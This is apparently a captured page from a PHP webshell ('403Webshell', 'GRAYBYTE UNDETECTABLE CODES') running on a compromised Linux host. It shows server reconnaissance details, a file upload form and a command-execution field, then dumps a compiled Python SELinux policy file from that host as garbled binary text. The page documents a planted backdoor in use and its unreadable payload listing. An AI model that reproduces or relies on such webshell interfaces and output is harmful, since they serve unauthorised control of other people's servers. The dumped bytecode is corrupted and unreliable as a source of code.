- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.145.165.239
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/sepolicy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/sepolicy/__pycache__/transition.cpython-36.pyc
3

>�\��@s0ddlZdgZdd�Zdd�ZGdd�d�ZdS)�N�setranscCs.tjtjgtj|i�}tdd�tdd�|��S)NcSs
|tjS)N)�sepolicyZTARGET)�y�r� /usr/lib/python3.6/transition.py�<lambda>sz_entrypoint.<locals>.<lambda>cSsd|tjkS)NZ
entrypoint)rZPERMS)�xrrrrs)r�searchZALLOWZSOURCE�map�filter)�src�transrrr�_entrypointsrcsF�gtt�fdd�tj���dd�tt�fdd�tj���}|S)Ncs|d�kS)N�namer)r)rrrr sz_get_trans.<locals>.<lambda>rZ
attributescs|d�ko|ddkS)N�source�class�processr)r)�src_listrrr!s)�listrrZget_all_types_infoZget_all_transitions)rZ
trans_listr)rrr�
_get_transs(rc@s0eZdZddd�Zdd�Zddd�Zd	d
�ZdS)
rNcCs(g|_i|_||_||_|j|j�dS)N)�seen�sdictr�dest�_process)�selfrrrrr�__init__'s
zsetrans.__init__cs���jkr�j�Si�j�<t��}|s.dS��j�d<�jsR|�j�d<nxttdd�t�fdd�|����j�d<ttdd�t��fdd�|����j�d<x �j�dD]}�j|�q�WdS)	Nrr
cSs|S)Nr)rrrrr9sz"setrans._process.<locals>.<lambda>cs|d�jkS)N�	transtype)r)r)rrrr9scSs|dS)Nrr)rrrrr:scs|d�j�gkS)Nr)r)r)rrrrr:s�child)rrrrr
rr)rrr
�sr)rrrr.s


*,zsetrans._process�c	Cs�d}||jkr|S|jj|�d|j|kr�x~|j|dD]l}tj|d|dddg�}|r�|d||d|d|dtj|�f7}q<|d	||d|d|df7}q<Wd
|j|kr�x.|j|d
D]}||j|d||f�7}q�W|S)Nrr
rrrZ
transitionz%s%s @ %s --> %s %s
�targetz%s%s @ %s --> %s
rz	%s%s ... )r�appendrrZget_conditionalsZget_conditionals_format_text�out)rr�headerZbuf�tZcondrrrrr">s
*$zsetrans.outcCsg|_t|j|j��dS)N)r�printr"r)rrrr�outputQszsetrans.output)N)r)�__name__�
__module__�__qualname__rrr"r&rrrrr%s

)r�__all__rrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit